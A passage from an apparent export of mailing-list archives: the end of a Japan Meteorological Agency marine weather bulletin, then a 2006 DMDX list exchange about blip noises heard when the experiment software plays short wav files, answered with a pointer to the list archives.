171E SE SLOWLY. LOW 1014 HPA AT 35N 180E NORTH 15 KT. HIGH 1020 HPA AT 38N 146E EAST 25 KT. HIGH 1018 HPA AT 29N 168E ESE 20 KT. STATIONARY FRONT FROM 27N 108E TO 30N 114E 33N 119E 36N 122E 39N 124E 39N 128E 39N 132E. JAPAN METEOROLOGICAL AGENCY.= +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. 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When some of the sound files are played a short blip-type noise is heard at the beginning of the file which interferes with the stimulus. I have re-checked my sound files and there are no such noises in the actual wav files so I presume the blips are being created when the files are played through DMDX. Has anyone encountered similar problems? Would changing the way in which I present the files improve things or could it be something to do with the sound card in the pc? This is a line from my script: +1 ""misC1d.wav"" * / ""a i e i"" /; Any suggestions greatly appreciated! Rachel Baker -- -------------------------------------------------------------------------- PhD student Dept of Linguistics Sidgwick Avenue University of Cambridge Cambridge --------------------------------------------------------------------------",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 23 May 2006 12:49:43 -0700",[DMDX] Re: short sound files,"Yeah, a number of people over the years have had similar problems. You want to search through the archives as I recall there was more than one cause for this. At 05:34 PM 5/23/2006 +0100, you wrote: >I am running a script which plays a series of short sound files. After >each file is played the listener has to make a judgement and the next >sound file is then played. > >When some of the sound files are played a short blip-type noise is heard >at the beginning of the file which interferes with the stimulus. I have >re-checked my sound files and there are no such noises in the actual wav >files so I presume the blips are being created when the files are played >through DMDX. Has anyone encountered similar problems? Would changing the >way in which I present the files improve things or could it be something >to do with the sound card in the pc? > >This is a line from my script: > >+1 ""misC1d.wav"" * / ""a i e i"" /; > >Any suggestions greatly appreciated! >Rachel Baker >-- >-------------------------------------------------------------------------- >PhD student >Dept of Linguistics >Sidgwick Avenue >University of Cambridge >Cambridge >-------------------------------------------------------------------------- > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any given program, once running, is obsolete.",0,1